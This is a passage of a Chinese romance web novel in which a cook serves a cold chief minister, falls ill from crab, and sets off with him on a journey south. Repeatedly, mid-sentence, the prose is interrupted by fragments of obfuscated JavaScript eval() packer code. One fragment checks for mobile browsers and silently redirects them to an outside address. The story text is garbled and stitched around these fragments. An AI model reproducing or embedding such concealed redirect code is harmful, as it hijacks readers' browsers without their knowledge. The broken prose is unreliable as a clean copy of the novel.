轿帘被一只骨节分明的手掀开，温砚礼面无表情地走下轿子，墨色官袍衬得他身形愈发挺拔冷峻。他甚至没看那老妇一眼，只冷冷扫过门前这片围观的人群。 那苏老夫人见他神色冰冷，心里发怵，却仍硬着头皮，试图威胁：“大人，您要是非要护着那丫头，不放了我孙子，我们、我们就在这儿不走了，让满京城的人都评评理。” 温砚礼终于将目光落到她那张涕泪横流的脸上，眼神如同在看一件死物。他唇角似乎极轻微地勾了一下，像是嘲讽，又像是极度厌烦。 “哦？”他声音平淡，却带着刺骨的寒意，“既如此想念你孙子，本官便成全你们。” 他侧过头，对身后的随从淡淡吩咐：“将这两个一并拿下，送去衙门。告知方大人，她们母子婆孙三人，咆哮朝廷大员府邸，污蔑本官清誉，让他依律处置，不必轻饶。正好，让他们一家子在牢里团聚。” 命令一下，如狼似虎的护卫便果断上前，毫不客气地将那两个还在哭嚎挣扎的妇人制住，如同拖死狗一般拖着就往京兆府衙的方向去。 哭骂声戛然而止，随即而来的是惊恐的呜咽。 围看热闹的百姓顿时鸦雀无声，一个个噤若寒蝉，这才猛然惊醒，眼前这位可不是什么能任由妇人撒泼拿捏的普通官员，而是权倾朝野的当朝首辅。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温砚礼瞥了她一眼，喉结轻微滚动，随即移开视线，仿佛在说一件微不足道的小事：“苏家行事不知分寸，屡次挑衅，小惩大诫罢了，并非为你。” 苏慈回过神来，连忙低下头，心跳却莫名快了几分，轻声道：“是，奴婢明白，谢大人。” 用过晚膳，苏慈端上一碟新做的糕点，小巧精致，色泽温润。她小心地放到桌边：“大人，这是奴婢这两日试着做的枣泥山药糕，想着您夜间处理公务若腹饥，可用一两块垫一垫，不腻口，也易克化。” 温砚礼扫了眼那碟卖相不错的点心，喉间懒懒地逸出一个“嗯”字，算是收下了。 此时，窗外忽然传来淅淅沥沥的声响，夏日的雨又不期而至，敲打着屋檐。 温砚礼看向窗外沉沉的雨幕，对候在外间的福安道：“取伞来，送她回去。” 福安连忙应声而去。 苏慈一怔，心下微暖，再次谢过，这才跟着打了伞的福安步入雨幕。 待那抹纤细的身影消失在回廊尽头，温砚礼沉吟片刻，将候在外面的赵管家唤了进来。 赵福躬身听命：“大人有何吩咐？” “给她换个住处。”温砚礼眼皮未抬，淡道，“寻一处离正院近些，清净些的院子，来往也便宜些。” 赵福闻言，心头一跳，但脸上不敢露出分毫异样，恭敬应道：“是，老奴明日，不，今晚便去安排，定挑一处离您近又妥帖的院子给苏慈姑娘。” 他低垂着头，眼底却闪过一抹了然。近些方便伺候？ 这府里上下，何时需要一个小厨娘住得近便伺候了，大人这分明是要抬举那苏慈的意思。 看来这府里的风向，是真的要变，那苏慈姑娘，往后可不能只当个寻常灶下婢女看待了 10. 蟹粉炒金针 一早，苏慈刚收拾妥当，赵管家便亲自来了她所居的下人房。 对方脸上带着一种前所未有的殷勤笑容，语气也客气了许多：“苏慈姑娘，大人吩咐了，让你今日便搬去西边那小院住，那儿离正院近，往来伺候也便宜些。” 苏慈拿着抹布的手顿在半空，整个人都愣了一瞬。搬去西边小院？那是比一般仆役住处好上许多的所在，通常是给有些体面的管事或者… 她不敢想下去，眼里带上些许茫然无措，指尖下意识地攥紧了微湿的抹布。 赵管家见她这般模样，脸上的笑容更深了些，语气恭敬得很：“东西可都收拾好了？若有什么短缺的，姑娘尽管开口。” 明眼人都听得出来，这绝非寻常的调换住所。 连赵管家这般身份的人对她都用了“姑娘”的尊称，态度更是迥异于往日。 苏慈心下惴惴，不敢深想那位大人此举背后的含义，压下心头翻涌的杂乱念头，低眉顺眼地应道：“是，劳管家费心，奴婢没什么东西，这便好。”她最重要的家当便是那包着月钱的软布包和食谱册子，仔细贴身藏好，其余不过几件半旧衣衫，很快便收拾成一个小小的包袱。 跟着赵管家穿过几重院落，越走越是清幽。新住处是一个独立的小小院落，虽不奢华，却干净齐整。 推开门，里面比她那间挤了四人的下人房宽敞明亮得多，窗明几净，甚至还用屏风隔出了一小块可供洗漱的区域，放着崭新的铜盆和巾子。 微妙的欣喜如同细小的泡泡，悄悄从心底冒出来。 苏慈用力抿了抿嘴唇，才勉强压下心口的惊叹。她小心翼翼地将包袱放在收拾得干干净净的床铺上，犹豫了片刻，还是转过身，看向欲准备离开的赵管家，声音里带着谨慎的试探：“赵管家，大人他…为何突然让奴婢搬来此处？” 赵管家似是早有准备，面上笑容不变，照着温砚礼的原话回道：“姑娘不必多心，大人是体恤近日夏雨繁多，你原先住得远，来回奔波辛苦不说，若是淋雨病了，反倒耽误伺候，这儿近便许多，也是为着当差方便。” 原来如此。苏慈听完这番合情合理的解释，心头那点疑虑才悄然散去，轻轻点了点头：“原来是这样，奴婢明白了，多谢管家告知。” 赵管家又客气了两句，便转身离开了。 待到屋内只剩自己一人，苏慈才缓缓舒了口气，仔细打量起这间属于她一个人的小屋。 阳光透过干净的窗纸洒进来，明亮敞净，她走到床边，伸手摸了摸柔软干燥的被褥，又看了看那扇雅致的屏风和新铜盆，眼底终于忍不住漾开真切的笑意。 虽然告诫自己不要多想，但这实实在在的改善，让她的心弦松弛了不少。 她打开小包袱，将几件衣服仔细叠好放入床头的小柜里，又拿出抹布，兴致勃勃地开始擦拭本就光洁的桌椅窗台，哼着记忆中母亲哄她入睡时的小调，连脚步都变得轻快起来。 宫阙深深，温砚礼刚下早朝，身着庄严的紫色公服，便被内侍引着绕过正殿，走向一处偏僻的宫苑。 越往里走，廊内隐隐飘散着一股奇异浓郁的香料混合味。 偏殿内帷幔低垂，光线昏暗。皇帝并未端坐龙椅，而是盘腿坐在一个蒲团上，双目微阖，正对着一只鎏金狻猊香炉吐纳呼吸。 炉内青烟袅袅，那奇异的气息便是由此而来。皇帝的面容在烟雾中显得有些模糊不清，眼底下带着些许青黑，似是倦怠，又似是亢奋。 听见脚步声，皇帝缓缓睁开眼，目光有些涣散，好一会儿才聚焦在温砚礼身上，声音带着一丝飘忽：“温爱卿来了，南疆的军报，朕看了，咳…你说，该如何处置？” 温砚礼依礼回禀，将边防情势、粮草调度、将领选派等事宜条分缕析，一一奏明。 皇帝听着，手指捻着一串沉水香的念珠，时而点头，时而蹙眉，似乎听进去了，又似乎神游天外。 待温砚礼奏罢，殿内陷入短暂的沉默，忽然，皇帝身子坐直了些，眼睛里透出一种异样的光彩，打断了他的话头，语气急切地问道：“温爱卿，朕听闻南边湖州地界，出了一位了不得的张道人，精通丹鼎之术，有延年益寿的仙药秘法，此事可真？” 温砚礼嘴角微抽，垂眸道：“陛下，江湖术士之言，多属虚妄，恐不足信。且南疆军务紧急，臣需…” “诶！”皇帝不悦地打断他，脸上显出不豫之色，声音也沉了几分，“军务再紧，能紧得过朕的长生大事吗？那些蛮夷，疥癣之疾罢了。这位张道人，朕心向往之，必得请入京中。此事，朕思来想去，唯有温爱卿你亲自去请，方能显朕诚心，也免那些俗人怠慢了道人。” 温砚礼静立片刻，随即抬眼，看着皇帝那张被丹药和虚妄渴望侵蚀的脸，终是压下心底的冷嘲，恭声道：“臣明白了。” 见他应下，皇帝脸色这才稍霁，又像是忽然想起什么，打量了他一眼：“朕记得你前些年中了那暗算，味觉至今未愈？如今可好些了？” “劳陛下挂心，仍是老样子，尝不出滋味。”温砚礼淡淡回道。 皇帝叹了一声，抬手从身旁小几上的一个紫檀木盒中，珍而重之地取出一枚龙眼大小的乌亮丹丸，递了过去：“此乃朕新得的九转培元丹，于身体大有裨益，你且服下，或能祛除沉疴，强健根基。” 温砚礼看着那枚诡异的丹药，面色如常，伸手接过，触手只觉一片阴凉：“谢陛下赐丹。” “嗯，”皇帝重新闭上眼，挥了挥手，“下去吧。南行之事，早做安排，最晚下月初便出发。” “是，臣告退。”温砚礼握着那枚丹药，躬身退出偏殿，直至走出殿门，来到空旷处，他才面无表情地将那丹药随手纳入袖中。 刚出宫门，早已候在一旁的二皇子便笑着迎了上来，姿态亲热：“温相留步，今日天色尚好，本王府上新得了些武夷山的贡茶，不知可否赏光，过府一叙？” 温砚礼脚步未停，只略一颔首：“殿下美意，臣心领了，只是陛下刚刚交代了差事，需即刻回衙署处理，不便耽搁，改日再向殿下赔罪。” 二皇子脸上的笑容僵了一瞬，眼看着温砚礼的身影径直上了轿辇，离去得毫不拖泥带水。 他站在原地，脸色逐渐阴沉下来，方才的谦和温雅荡然无存。 随即侧首问身后的心腹侍从：“父皇方才单独召见温砚礼，所为何事？” 侍从低声回道：“探听得似乎仍是与丹道有关，陛下像是命首辅大人去南方寻访什么道人。” “寻访道人？”二皇子嗤笑一声，望着那远去的轿影，眼中闪过讥讽，“哼，也好。让他去替父皇求仙问药，倒也省得在京中碍事。” - 暮色初合，首辅府的青砖灰瓦已然染上了一层暖金色。 苏慈刚将自己新居的窗户擦得锃亮，心情颇好地从小院里出来，打算去小厨房看看晚膳的食材。 刚踏上通往正院的回廊，便见温砚礼从外面回来了。 他一身庄重的绯色云雁纹朝服尚未换下，更衬得身姿挺拔，宽肩窄腰。 阳光落在他俊美的侧脸上，似是镀上了浅淡柔光，减去了几分平日里的凛冽之气。 苏慈看得微微一怔，心下不由暗叹，这位大人当真生得极好，穿什么都自有一番迫人的气度。 忙敛了心神，她上前几步，屈膝行礼，唇角露出真心实意的笑：“大人，您回来了，奴婢多谢大人赐予新居。” 温砚礼脚步未停，瞥了她那明媚的笑脸一眼，喉间溢出一个“嗯”字。他朝书房走去，袍角拂过门槛，走出几步，才似忽然想起什么，头也未回地问道：“下晌做了什么？本官有些腹饥。” 苏慈闻言忙跟上两步，柔声答：“回大人，奴婢新试做了几样菊花酥饼，用的是去岁晒干的甘菊，清火明目，这就给您端来？” “端到书房。”他丢下这句话，身影已没入书房门内。 “是。”苏慈连忙应下，转身便提着裙子小跑着往小厨房去，身影轻快得像只翩跹的蝶。 她未曾留意，在她转身跑开时，已走几步的温砚礼脚步顿了顿，侧首回望，只见那抹纤细的身影已穿过月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“福安哥放心，交给我便是。”她接过蟹篓，声音里都带着股雀跃。 小厨房里，张嫂和钱嫂子见她熟练地将螃蟹刷洗干净，上笼蒸制，又另起锅灶调制蘸料，熬煮蟹粥，动作行云流水，不由啧啧称奇。 张嫂凑近问道：“苏慈妹妹，你这手艺真是没得说，怎会懂得这许多菜式？” 苏慈一边将姜末切得细如发丝，一边笑着答道：“不瞒嫂子，我家里从前便是开食肆的，父亲是厨子，我自小在灶台边打转，看得多了，也就会了些。”说着，又想起父亲手把手教她剔蟹肉、熬蟹油的情景，眼神温柔了几分。 钱嫂子闻言，奉承道：“哎哟，原来是家学渊源，难怪大人这般看重妹妹的手艺，咱们府里真是有福了。”张嫂也在一旁连声附和。 苏慈被夸得有些不好意思，只觉这两位嫂子近来愈发热情，虽有些莫名，但听着总归舒坦。 一个时辰后，苏慈便将螃蟹做成了三道菜，一碟原汁原味的清蒸大蟹，一碟精心剔出的蟹粉炒金针，另有一罐米粒融滑的蟹肉粥，并几样清爽小菜，一并端去了正堂。 温砚礼已回府，换了一身墨青色暗纹直裰常服，身姿清峻。他步入正堂，眸子扫过桌上那红彤彤的螃蟹，眉头骤蹙了，他一向不喜这类需费手剥壳的食物。 苏慈见状，忙轻声道：“大人若嫌麻烦，这蟹粥是剔了肉熬的，鲜甜暖胃，佐些小菜也是极好的。” 温砚礼未置可否，随即坐下先用了一碗粥。待他用完，侍立一旁的仆役皆被屏退，堂内只剩他与苏慈二人。 他忽然开口：“坐下。” 苏慈在收拾碗筷，闻言一愣，以为自己听错了，茫然地抬头：“大人？” “坐下。”温砚礼重复了一遍。 “这，于礼不合，奴婢…”苏慈惴惴不安。 温砚礼抬眸瞥了她一眼，那眼神让她把后半句推辞咽了回去，只得依言在圆凳边缘小心坐下，半个身子都绷紧了。 “这些，”他眼神示意那几乎未动的清蒸蟹，“你吃了，本官不用。” 11. 吃螃蟹过敏 苏慈又是一怔，看着那肥美的螃蟹，喉间不禁动了动。她确实许久未尝过了，可这…她犹豫地看向温砚礼。 温砚礼并未搭话，抬手拿起手边的茶盏：“难道还要本官请你？” 苏慈身子一哆，紧忙拿起银箸，起初还有些拘谨地吃着，但蟹肉的鲜甜很快征服了她，加之堂内并无旁人，她渐渐放松下来，动作也利落了许多，熟练地剔出蟹肉，吃得眉眼弯弯，满足之情溢于言表。 正吃得开心，忽听温砚礼道：“后日本官要南下公干，你随行伺候。” 她剔蟹肉的动作顿住，诧异地抬眼。自己一个厨娘…南下？ 随即恍然，是了，大人吃惯了她做的饭菜，自然要带上她。她小声问：“大人要去多久？是去办什么要紧事吗？” “些许公务，短则一月，长则数月不定。”温砚礼并未详说。 “哦。”苏慈低下头，心思转了几转。 半晌，她小心翼翼地将自己刚剔好的一小碟饱满蟹肉，轻轻推到温砚礼面前，“大人，您尝尝？这蟹肉很是鲜甜，不费事的。” 温砚礼看着那碟莹白的蟹肉，微微顿住，才拿起银箸夹了一些送入嘴里。 咀嚼片刻，他放下筷子：“下次不必如此，你自己吃便是。” 若是两个月前，听他这般说，苏慈定会吓得不敢再动。可如今，她虽仍敬畏他，却知他并非真正苛待下人，胆子便也大了些。 她一边继续剥着蟹壳，一边轻声道：“奴婢晓得了，只是想起小时候，家里吃蟹，父亲总是这样先把肉剔给我和母亲。”说着，脸上露出怀念的笑容，话匣子打开，絮絮地说起些旧事。 她说得投入，未留意温砚礼并未打断，只静静听着。直到她后知后觉地意识到自己似乎话太多了，啥时收声，忐忑地看向他：“奴婢失言了。” “无妨。”温砚礼却道，“继续说。” 苏慈眨了眨眼，这才放下心来，又轻声细语地说了些家乡吃食的趣事。温砚礼偶尔抿一口茶，并未插言。 待到一顿蟹宴吃完，窗外早已月上中天，时辰已过戌时。一大篓螃蟹，大半都进了苏慈的肚子，她吃得心满意足，脸颊泛着红晕，只觉得这是入府以来最快活的一个夜晚。 苏慈因住得近了，近些日总是侍候到温砚礼快就寝时才离开。她端着一盏新沏的雨前龙井走进书房，刚将茶盏放在书案一角，忽觉唇上一阵异样的麻痒。 她下意识抬手摸了摸，触感竟有些肿胀紧绷。心下正疑惑，又觉舌根也隐隐发木，不太灵便。她无意识地微微张口，想缓解那不适感。 温砚礼垂眸批阅文书，察觉身旁人影迟迟未退，且呼吸声似有异样，便抬眸看去。 这一看，他素来没什么表情的脸上竟难得地露出几许惊诧。 只见苏慈那原本小巧的小嘴此刻红肿不堪，像熟透的果子胀裂开来，连带着下颔都有些圆润起来。 “你…”他放下笔，眉头蹙起，“吃了螃蟹，身上起疹子了？”他并未往过敏上想，只当是吃了发物起了风疹。 苏慈想开口解释，却发觉舌头果真肿得不利索，发出的声音含糊不清：“奴…婢，嘴…”情急之下，她竟微微伸了伸那同样肿胀的舌头，想让他看看。 温砚礼眸光触及那粉嫩肿起的舌尖，轻咳一声，便移开了视线，喉结却滚动了一下，声音陡然沉了几分：“福安。” 守在外间的福安应声而入：“大人有何吩…”话未说完，瞧见苏慈的模样，吓得倒抽一口凉气，“哎哟，苏慈姑娘你这脸。” “去请大夫，快！”温砚礼语气严厉。 福安不敢耽搁，连滚爬爬地跑了出去。不过一刻钟功夫，便领着一位睡眼惺忪的老大夫急匆匆赶来。 老大夫提着药箱，仔细查看了苏慈的面色、口舌，又问了晚间饮食，最后捻着胡须道：“这位姑娘乃是风邪蕴结，湿热内困之症，通俗来讲，便是食蟹过敏了。蟹肉性寒，有些人久不用或体质有变，便易引发此类症状。老夫开一剂清热消肿止痒的方子，煎服后好生休息，明日应能缓解许多。” 苏慈听得迷迷糊糊，此刻嘴巴又麻又胀，心里更是纳闷，自己从前在家乡也是吃过螃蟹的，虽不常吃，却从未如此过啊。 温砚礼端坐椅上，听完大夫的诊断，看向苏慈那肿得变了形的嘴唇，不可避免地注意到了她饱含委屈的秋眸，线条冷硬的下颌似乎绷紧了一瞬，才开口道：“原是此故，怪本官。” 苏慈虽口舌不便，闻言却连忙摇头，发出含糊的“唔唔”声，表示并非他的过错。 温砚礼转而对福安道：“按方子去抓药，煎好了送去她房里。” 说罢又转向苏慈，语气稍微缓和，“明日你不必来正院了，好生歇着，后日便要启程，需养足精神。” 苏慈此刻脑袋也有些发沉，闻言赶紧点头，含糊地谢了恩，在福安同情的注视下，捂着肿痛的嘴巴退出了书房。 - 夜阑人静，温砚礼沐浴后，仅着一件素色中衣，墨发微湿披散，躺在紫檀木拔步床上，打算阖目入眠。 莫名地，苏慈那肿着嘴唇，泪眼汪汪的模样却不期然浮现在眼前，他蹙了蹙眉，翻了个身，将那些莫名的影像驱散。 不知过了多久，他才沉入模糊的睡意之中。然而梦境光怪陆离，方才驱散的身影竟又清晰地出现。 不再是书房，而是一处暖香氤氲的陌生所在。苏慈就站在他面前，仍然穿着那身浅青衣裙，却比平日更显身姿窈窕。她微仰着脸，眸内水光潋滟，带着几分委屈，竟朝着他，轻轻探出那有些红肿的舌/尖。 “大人，”梦中的她声音含糊，带着哭腔，“您瞧瞧是不是还肿得厉害？好难受…” 话落，不由来的热流猛地窜上温砚礼的脊背，身体绷得僵硬如铁，梦中他厉声呵斥：“放肆，成何体统，还不退下！”话虽如此，声音莫名沙哑得厉害。 眼前的苏慈被他呵斥，眼圈红了，小巧的鼻尖微微抽动，那眼神分明在控诉：“是您让奴婢吃了那么多螃蟹才这般的，您还凶我。” 温砚礼喉结剧烈地滚动了一下，口干舌燥。梦中竟有一丝理亏的情绪蔓开，他偏开视线，冷硬道：“是本官疏忽，已准你明日歇息，还不够？” 梦中的苏慈却仿佛没听到，反而又向前逼近了一步，两人之间仅剩寸许距离，那股熟悉的清气混着女儿家特有的暖香愈发清晰，丝丝缕缕萦绕上来，无孔不入。 温砚礼抬手欲将她推开，指尖几欲触碰到那纤细的肩臂时，他却仿佛被无形的丝线缚住，迟迟落不下去。 呼吸微促，他试图以惯常的方式威慑：“再不退下，扣你三月月钱。” 可她恍若未闻，那双水盈盈的眸子就这般望着他，带着某种固执的委屈。就在他心神震荡之际，梦中的苏慈忽然身子一软，竟整个儿跌入他怀中。 温软馨香撞了个满怀，细腻的衣料摩擦着他的中衣，隔着薄薄的布料，温砚礼甚至能感受到那玲珑有致的曲线，以及温热的体温。他脊背挺得笔直，喉间发出一声极其细微的抽气声。 下一瞬，温砚礼睁开眼，胸膛剧烈起伏，额角竟沁出了一层薄汗。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353971|183616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 窗外天色漆黑如墨，万籁俱寂，只有他急促的呼吸声在寂静的寝殿内清晰可闻。温砚礼低头看去，怀中空无一物，方才那旖旎温软的触感已然消散。 他拧紧眉头，顿觉荒谬至极。 不过一个合心意的厨娘，做得一手对他胃口的饭菜罢了，他怎会无端梦到她？甚至还因那莫须有的“过敏”生出愧疚，简直是荒唐。 他烦躁地掀被下床，赤足踩在金砖地上，走到桌边提起青瓷茶壶，也顾不得倒进杯里，径直对着壶嘴灌了几口冷茶。 冰凉的液体滑入喉中，丝毫压不下心头那股莫名的燥热。 定是近日公务繁忙，耗神太过，才会做这等不着边际的怪梦。 他如是告诉自己，将那梦中纷乱的影像强行压下，抬手按了按突突直跳的太阳穴，眸色沉得不见底。 - 翌日上午，当值房内。 福安垂手禀报着南行一应车马、护卫、文书等事宜的安排。然而，案后的温砚礼却有些心不在焉。他视线落在窗外一株摇曳的芭蕉上，指尖漫不经心地摩挲着一枚青玉扳指，半晌没有动静。 “大人？”福安提高了些声音，小心提醒，“您看如此安排可还妥当，是否还需添减些什么？” 温砚礼闻声回过神，像是被从什么深远的思绪中拉扯出来，眼眸微动，随即恢复了惯常的冷寂：“你方才说什么？” 福安心里咯噔一下，连忙将方才的话又精简重复了一遍：“小的说，南行的车驾、人手、通关文书皆已备齐，明日寅时末便可出发，不知大人可还有别的示下？” 温砚礼垂下眼帘，语气有些淡：“就按你说的办，沿途一应事务，你自行斟酌即可，不必事事回禀。” “是。”福安躬身应下，心里暗暗称奇。自家这位爷向来心思缜密，尤其是出行之事，更是要求巨细靡遗，今日竟连随行名单都懒得过目，实属反常。他偷偷打量，只见大人虽坐得笔直，但那眼神却不时飘忽一下，似是有什么难以排遣的心事萦绕。 福安不敢多问，大人的心思岂是他能随意揣测的？紧得小心地退了出去。 午后，温砚礼自衙门回府。刚踏入二门，便见苏慈从抄手游廊的另一头走来。她已换了一身婢女服饰，昨日的红肿似乎已消退殆尽，脸颊白净，唇瓣恢复了樱桃色泽，眼眸清澈如水，见到他，她停下脚步，规规矩矩地屈膝行礼。 福安跟在温砚礼身后，见状忙笑着打了个招呼，关切问道：“苏姑娘，身子可大好了？脸上瞧着是消腫了。” 苏慈抬起头，唇角弯起一个感激的浅笑，声音温软：“劳福安哥记挂，已经无碍了。”她目光转向一旁的温砚礼，似乎想为他昨日请大夫和准假道谢，嘴唇微动，刚唤出“大人”二字。 却见温砚礼瞥了她一眼，随即像被什么烫到一般，竟脚步未停，直直越过她，朝着正堂快步走去，留下一个挺拔却莫名透着点仓促意味的背影。 苏慈愣在原地，维持着半屈膝的姿势，脸上的笑意僵住了，神情略微无措。她是说错什么了吗，还是昨日过敏的模样太过丑陋，惹得大人不快了？ 福安也是丈二和尚摸不着头脑，看着大人算得上是“落荒而逃”的背影，随后看向立在原地的苏慈，赶紧凑近两步，压低了声音急急道：“姑娘莫多想，大人他今日也不知怎么了，从早上起就有些心神不属，许是朝务繁忙，累了。总之今日且小心些当差，千万别去招惹。” 苏慈回过神来，连忙点头，将那份小小的疑惑压回心底，轻声应道：“是，我明白了，多谢福安哥提点。” 12. 梅花糕 辰时初刻，府门前已车马辚辚，南行的队伍整顿完毕。 苏慈背着自己小小的包袱，里面除了几件换洗衣物，便是那本修补好的食谱册子，她站在队伍后方，看着那辆规制非凡装饰着麒麟纹样的青呢轿子，心下盘算着该去寻哪辆仆役乘坐的马车。 福安忙碌地指挥着，一转眼看见她，连忙小跑过来：“苏慈姑娘，你怎么还在这儿？快，去那辆轿子旁候着。”说完指了指温砚礼的专轿。 苏慈一愣，连忙摆手，声音都急得有些发颤：“福安哥，这、这如何使得，那是大人的轿驾，奴婢岂能…” “哎呀，我的好姑娘，”福安压低了声音，“如今这情形，除了你，还有谁能近前伺候大人饮食，难道让大人一路饿着？别磨蹭了，快过去。” 两人正说着，那轿帘倏地被一只骨节分明的手掀开，露出温砚礼清冷无温的俊脸。他今日未着官服，一身墨色暗云纹杭绸直裰，玉带束腰，衬得面容清俊冷冽，只是眼神似乎有些不耐。 他看着苏慈，冷淡启口：“还杵在那里做什么，要本官亲自请你过来？” 苏慈被他看得心口一跳，连忙应了声“是”，小跑着过去，在福安示意下，手脚并用地爬上了那宽敞的轿厢，谨慎地缩在最靠外的角落，连呼吸都缓了下来。 轿内极为宽敞，铺设着软垫，中间甚至还有一张固定的小几。温砚礼靠在里侧闭目养神，只当她不存在。 队伍启程了，轿子行进得十分平稳。 苏慈偷偷抬眼，飞快地瞄了一眼对面的男人。他闭着眼，睫毛长而密，在眼下投下一小片阴影，鼻梁高挺，薄唇微抿，即便是这般放松的姿态，也自带一股生人勿近的迫人气度。 不得不承认，这位大人确实生得极好，只是脾气太过吓人。 行了约莫一个多时辰，已近巳时，轿子行至城门附近。此时城内车马行人正多，颇为拥堵。城门口，守城兵士见到首辅仪仗，连忙高声呵斥着清理道路，让他们的车队先行。 正巧，另一队车马刚从城外而来，欲要进城，却被兵士拦下，只得暂且避让到一旁。 那辆颇为华贵的马车里，一只纤纤玉手轻轻掀开车窗帘子的一角，露出一张明媚少女的脸庞。她好奇地打量着这支规模不小的车队，美眸看向中间那辆显眼的青呢轿子上时，忽然“咦”了一声。 “祖母，”她转过头，对车内一位衣着雍容的老妇人道，“您看那辆轿子，规制纹样，瞧着好生眼熟，倒像是像是表哥府上的？” 那老妇人正是温砚礼的祖母温老夫人，此番从老家上京，一是为探望孙儿，二也是为着他的婚事操心。她闻言并未探头去看，只慢悠悠道：“傻丫头，你看花了眼吧，这个时辰，你表哥早该在衙门处理公务了，怎会出现在城门口，再者，他的轿驾，岂是轻易能认错的？” 那少女是温老夫人的娘家侄孙女，名唤柳依依，此次随同入京，心下存了什么念头，老夫人一清二楚。柳依依被祖母一说，也觉得有理，只是想到即将见到那位俊美无俦却冷情冷性的表哥，一颗心还是忍不住怦怦急跳了几下，脸颊泛起红晕。 温老夫人将她的神色尽收眼底，轻轻拍了拍她的手，叹道：“你表哥都快二十有七了，身边连个知冷知热的人都没有，像什么话。这次祖母定要为他做主，你这孩子，性子柔顺，模样又好，祖母瞧着便是极好的。” 柳依依闻言，顿时羞得低下头：“祖母，您又取笑依依了。”话虽这般应，心中仍是漾开了一片隐秘的欢喜。 而此刻，那辆与她们擦身而过的青呢轿子，已顺利通过城门，驶上了官道。 良久后，苏慈掀开帘子一角，透过缝隙望着窗外的田野村庄，神情有些恍惚。 不过数月前，她也是沿着这条路，怀着前路未卜的惶恐心情，孤身一人踏入京城，本想投奔许久未联络的表亲，不曾想受尽了冷眼与奚落。 那时她身如飘萍，顿感前路茫茫，未想过会有今日，竟阴差阳错成了首辅府的婢女，还能坐在大人的轿辇中，再次踏上这条离乡的路。 此时心境却截然不同了，虽为奴婢，但有了安身立命之所，甚至还揣着一份逐渐积攒起来的微薄希望。 出神间，忽听对面传来一声淡淡的：“茶。” 苏慈回过神来，见温砚礼不知何时已睁开了眼，正看着她。她忙应了声“是”，从小几下的抽屉里取出温着的茶壶和洁净的杯盏，小心地斟了七分满，双手奉上。 温砚礼接过，慢饮了几口，便将茶盏放回几上。随即又从身旁的暗格里取出一叠文书和笔墨，似是准备办公。他习惯性地想去拿墨锭，动作忽地顿了一下，抬眼看向苏慈：“会研墨吗？” 苏慈微怔，随即点头，声音轻柔：“回大人，奴婢幼时读过几年书，略懂一些。” “嗯。”温砚礼未多问，示意了一下砚台，“过来，研墨。” “是。”苏慈依言挪到他身侧的位置跪坐好，挽起衣袖，露出纤细的手腕，取了清水滴入砚台，然后捏着墨锭，顺着一个方向，轻重均匀地慢慢研磨起来。 一时间，轿厢内只余墨锭与砚台摩擦的沙沙声。 温砚礼提笔蘸墨，刚批阅了两行字，那股清气又若有似无地萦绕过来，比在府中时更为清晰。他笔尖微顿，终于确定，似乎自己真的只能闻到身边这个婢女身上的气息。 至于缘由…他蹙了蹙眉，压下心头那点疑虑，继续落笔。 车内氛围静谧，批阅完一份公文，温砚礼像是忽然想起什么，随口问道：“你籍贯似是江南？” 苏慈研墨的手一顿，垂下眼帘，轻声道：“是，大人，奴婢祖籍临安府。” “此番南下，会途经临安附近。”温砚礼视线落在文书上，嗓音微沉，“可有尚需探望的故旧亲眷？可准你一日假。” 苏慈闻言，心头微涩，心跳猝然快了一拍。 沉默了片刻，才低声回道：“谢大人体恤，只是家中已无亲无故，并无、并无想见之人了。”面上维持着平静，声音难免泄出几分难以掩饰的失落。 温砚礼批阅的动作停了下来。他抬眸，看着她低垂的眉眼，抿唇的神情黯然。 未出言安慰，他用笔杆指了指小几上另一碟未曾动过的糕点：“这些，你吃了。” 苏慈抬眼，有些讶异：“大人，您不用些吗？” “尝不出滋味，吃了也是徒然。”他语气淡漠，仿佛在说一件与己无关的事。 苏慈看着他的侧脸，想起他前日赏自己吃蟹，今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晚间，福安打了热水来伺候温砚礼洗漱。苏慈下意识想上前接过水盆，温砚礼却已自然地将手浸入水中，淡淡道：“这不是你的事。” 苏慈缩回手，乖乖站到一旁。福安笑着低声道：“姑娘也累了一天，外头灶房还温着水，虽简陋，姑娘也可去隔间简单擦洗一番，去去乏气。” 苏慈想到自己风尘仆仆，若一身汗气与大人同处一室，定然遭嫌，便感激地点点头，悄声去了。 待她换了一身干净的中衣回来，外间的烛火已经熄了大半，只留了一盏角落的小灯。屏风后的床榻方向，帷幔已经放下，里面悄无声息，似乎人已经睡下了。 吹熄了那盏小灯，她借着窗外透进的微弱月光，蹑手蹑脚地走到那张软榻边，小心地躺了下去。软榻不算宽敞，她尽量缩起身子，连呼吸都放得极轻。 这是她生平第一次与男子同宿一室，即便隔着屏风，那人是高高在上的首辅，她仍浑身觉得不自在，心跳得厉害。 夜渐深，窗外忽然传来淅淅沥沥的声响，渐渐连成一片，下雨了。雨点敲打着瓦片窗柩，发出规律的白噪音。 在这种天然的催眠曲中，苏慈紧绷的神经渐渐放松下来，旅途的疲惫上涌，她的意识逐渐模糊，不到一刻，呼吸便变得绵长。 